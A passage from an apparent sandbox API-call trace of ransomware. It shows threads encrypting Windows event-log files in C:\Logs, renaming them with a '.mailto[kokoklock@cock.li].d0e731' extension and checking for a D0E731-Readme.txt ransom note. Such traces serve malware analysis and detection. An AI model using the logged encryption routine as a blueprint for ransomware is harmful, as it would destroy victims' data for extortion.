returned="C:\\Logs\\D0E731-Readme.txt" [0167.819] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84370) returned 1 [0167.819] RtlExitUserThread (Status=0x1) Thread: id = 1677 os_tid = 0x834 [0167.820] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.820] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.821] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.821] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb66fd50 | out: lpFileSize=0xb66fd50*=69824) returned 1 [0167.821] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.821] ReadFile (in: hFile=0x528, lpBuffer=0xb66fd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0xb66fd24*, lpNumberOfBytesRead=0xb66fd20*=0x4, lpOverlapped=0x0) returned 1 [0167.822] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96890 [0167.822] NtQuerySystemTime (in: CurrentTime=0xb66fcfc | out: CurrentTime=0xb66fcfc*=132121213251314471) returned 0x0 [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x9ed49a9d [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x6720348f [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x8e3bfef8 [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x9a2e652a [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x4b62665b [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x34f091b5 [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x20715a6b [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xc7bc3c15 [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x64d692b4 [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x8fac3faf [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xebaaea8a [0167.822] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xb9cfe78f [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x9331ea76 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x7c762bbc [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x693a6559 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x170d0769 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x7790e079 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x28c75a5c [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x86bfe7f [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x39307369 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x4f4de8ee [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xb324cc04 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x3bb6357b [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xd3668088 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xfaefb84a [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xb475406d [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xd7aab781 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0xec6e143b [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x82d1a156 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x98a8f47f [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x14c0d637 [0167.823] RtlRandom (in: Seed=0xb66fd08 | out: Seed=0xb66fd08) returned 0x61c64a80 [0167.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.838] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.838] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.839] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.839] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb66fcd4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb66fcd4*=0x4096, lpOverlapped=0x0) returned 1 [0167.840] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.840] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96908 [0167.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968e0 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968e0) returned 1 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.841] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb66fcd4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb66fcd4*=0x4096, lpOverlapped=0x0) returned 1 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.841] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.841] WriteFile (in: hFile=0x528, lpBuffer=0x2f96908*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb66fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f96908*, lpNumberOfBytesWritten=0xb66fd0c*=0x20, lpOverlapped=0x0) returned 1 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96908) returned 1 [0167.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb66fd20*=0x8, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0xb66fd38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0xb66fd38*, lpNumberOfBytesWritten=0xb66fd20*=0x4, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb66fd20*=0x4, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb66fd20*=0x6c, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb66fd20*=0x20, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb66fd20, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb66fd20*=0x4, lpOverlapped=0x0) returned 1 [0167.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.843] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.843] CloseHandle (hObject=0x528) returned 1 [0167.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95908 [0167.843] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" [0167.843] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.843] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.844] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0167.844] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.844] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.844] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.844] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83db0) returned 1 [0167.844] RtlExitUserThread (Status=0x1) Thread: id = 1678 os_tid = 0xc20 [0167.850] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.851] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.852] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb6efbd0 | out: lpFileSize=0xb6efbd0*=69824) returned 1 [0167.852] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.852] ReadFile (in: hFile=0x528, lpBuffer=0xb6efba4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0xb6efba4*, lpNumberOfBytesRead=0xb6efba0*=0x4, lpOverlapped=0x0) returned 1 [0167.854] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968e0 [0167.854] NtQuerySystemTime (in: CurrentTime=0xb6efb7c | out: CurrentTime=0xb6efb7c*=132121213251626750) returned 0x0 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x2028f9f3 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xe91f894f [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x601e3030 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xe94cf52d [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x22bbaef4 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x40a1a9bd [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x11ea1879 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xef68f499 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xf781c768 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xe1a7905b [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x999c8734 [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x4ac4490f [0167.854] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x659fdf68 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x95fb411a [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xd8836016 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xe31ad148 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x7df2a7c5 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x83208b2 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x66ada517 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x9865d3c5 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xa3ae38ba [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x913afd6b [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x58d46162 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x35a5389d [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x74cee843 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xb0cd3b6a [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x4036f182 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x2b343ebe [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x5577610b [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0x6953b237 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xd65db2a8 [0167.855] RtlRandom (in: Seed=0xb6efb88 | out: Seed=0xb6efb88) returned 0xb786b52e [0167.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.865] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.865] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.866] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.866] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb6efb54, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb6efb54*=0x4096, lpOverlapped=0x0) returned 1 [0167.866] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96908 [0167.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96930 [0167.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96930) returned 1 [0167.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.867] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb6efb54, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb6efb54*=0x4096, lpOverlapped=0x0) returned 1 [0167.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.868] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.868] WriteFile (in: hFile=0x528, lpBuffer=0x2f96908*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb6efb8c, lpOverlapped=0x0 | out: lpBuffer=0x2f96908*, lpNumberOfBytesWritten=0xb6efb8c*=0x20, lpOverlapped=0x0) returned 1 [0167.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96908) returned 1 [0167.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.868] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb6efba0*=0x8, lpOverlapped=0x0) returned 1 [0167.868] WriteFile (in: hFile=0x528, lpBuffer=0xb6efbb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0xb6efbb8*, lpNumberOfBytesWritten=0xb6efba0*=0x4, lpOverlapped=0x0) returned 1 [0167.868] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb6efba0*=0x4, lpOverlapped=0x0) returned 1 [0167.868] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb6efba0*=0x6c, lpOverlapped=0x0) returned 1 [0167.869] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb6efba0*=0x20, lpOverlapped=0x0) returned 1 [0167.869] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6efba0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb6efba0*=0x4, lpOverlapped=0x0) returned 1 [0167.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.869] CloseHandle (hObject=0x528) returned 1 [0167.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x2f901e0 [0167.869] wcscpy (in: _Dest=0x2f901e0, _Source="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.869] wcscat (in: _Dest=0x2f901e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.869] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.870] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f901e0) returned 1 [0167.870] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.870] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.870] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.870] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88230) returned 1 [0167.870] RtlExitUserThread (Status=0x1) Thread: id = 1679 os_tid = 0xd78 [0167.872] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: 